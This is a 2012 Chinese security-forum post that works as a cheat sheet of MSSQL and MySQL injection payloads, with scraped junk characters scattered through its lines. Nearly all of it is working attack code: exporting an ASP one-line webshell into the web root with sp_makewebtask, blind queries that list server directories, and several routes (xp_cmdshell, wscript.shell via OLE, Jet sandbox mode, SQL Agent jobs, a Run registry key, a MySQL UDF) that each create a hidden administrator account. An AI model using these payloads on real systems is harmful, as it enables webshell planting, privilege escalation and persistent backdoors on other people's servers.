找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2890|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马4 ?: w( s1 ]. b
首先确定网站的WEB路径
" Q& G; r# o/ {( ~9 C. [4 T;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马$ j9 u9 f3 s7 I) u* b
7 w5 O6 U# i6 V7 [* g' l& y
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
1 z# H. f& M& k0 Y2 s//将一句话木马插入表中
' h) S8 }' C. D" [* x
5 H+ f7 G) o9 m% ]# H;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- # p& m3 @$ z4 t' y! e; u: G
//导出一个ASP文件2 z8 m2 w9 R; p. S

$ F) Z2 x! c8 I+ A
; Q% t' \2 R* o- x关于MSSQL列目录
  e. U; x1 q6 f/ k" l6 p;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表+ |5 d7 {2 @9 ~' d
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
! m+ e& E  o/ X
& a  q' k# D. |$ t& i( A! ^and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
# r8 E0 l! [0 J+ B* G# ^  N9 L
/ a5 [2 O) T9 t# r9 B5 HAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
9 M: T- e% p, S2 \' x
. _5 @& ]; o  F. k1 E5 DAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符5 d5 O9 \6 n% l7 c: L2 u" @2 \

7 u# W" o9 n) \3 \$ j8 G' b" c' U; r; o: W; j5 K
数据库版本和权限查看
# i/ Q# {* B/ Z  B- Y. Dand 1=(select @@VERSION) //查看详细的数据库信息.! E) d8 w5 N8 T, X$ T+ L% a
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
1 }2 Y# {3 Z5 p, s' R1 W* Vand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER: O' m. F0 c4 H  C4 Z

8 G: S' G3 G. T
% z/ ~' d& {& V0 O5 _1.利用xp_cmdshell执行命令1 ]" n/ A. o6 _
exec master..xp_cmdshell 'net user rfire 123456 /add'
  I" ]7 |  c0 p! Qexec master..xp_cmdshell 'net localgroup administrators rfire /add'
. Z3 |) G5 h8 F" I/ h  [! ]
6 ?, A, T+ T- E; Z4 F恢复xp_cmdshell存储过程9 _' M! m" e! i7 H
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'1 o- h3 G5 Q! L# q& `: S, z- L; ]
) t" m1 U  }( w+ {9 e

: y' j( E+ q0 P! F* l1 F2.利用SP_OAcreate和SP_OAMETHOD执行命令
' N$ U# ]/ c; B在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下: q: s% x$ E. @2 M) j
DECLARE @shell INT //建立一个@shell实体4 t( y6 I; C9 {9 d1 h
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
- }4 p3 X6 u0 U# @1 HEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
; C/ `) I5 {0 N# l; H/ d5 J4 P* x% e$ y/ |9 V

2 ]0 j( Y' T: \$ N! y8 w1 E1 W3.利用沙盒模式
! t* w+ B, E7 L  O5 s3 Y9 q7 n先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
( X1 y1 ~5 ~4 c. \开启沙盒模式:
; e" a/ p+ e" e. AEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
( G0 ^5 |! z  `  U$ ]1 ~2 t! d5 z5 C  e, H# N9 o* O( t% V. H
执行命令:1 f' C4 d6 J: e/ ?6 I' s; c! x5 O
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
  T0 z& t, _6 f9 C8 |. U0 g2 q3 `

3 V. w1 g2 g/ u9 w+ s/ [4.利用SQL代理执行命令# `( u, `& ?, E' W% d% Y+ J
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务, \% R5 S/ n9 ~5 z
* ]2 a' m6 @6 I- q, p8 f; m
执行命令:: h' Z# x* j- v/ V
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错) m# A+ [: M( B5 M. V" q( @1 f- T
exec sp_add_job 'x'
+ Y" x5 p/ t2 y! o! E* H& Kexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业( s" N2 |" D) i/ h3 ^
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业, X- b( P/ U( M, x& A% F

- x6 T  P1 @' D: S. D' B
* N/ y0 j! w" B5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
. e4 o# `# f. ]" Z7 G. n- S3 U* o5 lEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
9 I/ d; A! C* H. Y0 U6 ]5 h
* s. a) T! l0 Q9 N% x5 p; [3 t9 E9 Q1 x. U5 ^* G
6.MYSQL的命令执行
0 V2 K: ~- D  i. t$ ^MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
9 K* s+ I; l3 R! f- ^7 F3 r# P6 j首先要在su.php下导出c:\windows\udf.dll) w, {& u9 U6 K' r4 [) m0 l
导出后执行创建自定义函数命令:; d7 o4 W7 `% {
Create Function cmdshell returns string soname 'udf.dll'
$ u, a5 s. U' M, x- ~/ _( \执行命令+ a! C, N8 T1 F) _! u0 K
select cmdshell('net user rfire 123456 /add')
+ P* M3 t6 w4 Q7 m执行后删除函数 drop function cmdshell
/ e2 i( t3 w$ x1 ?% P0 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表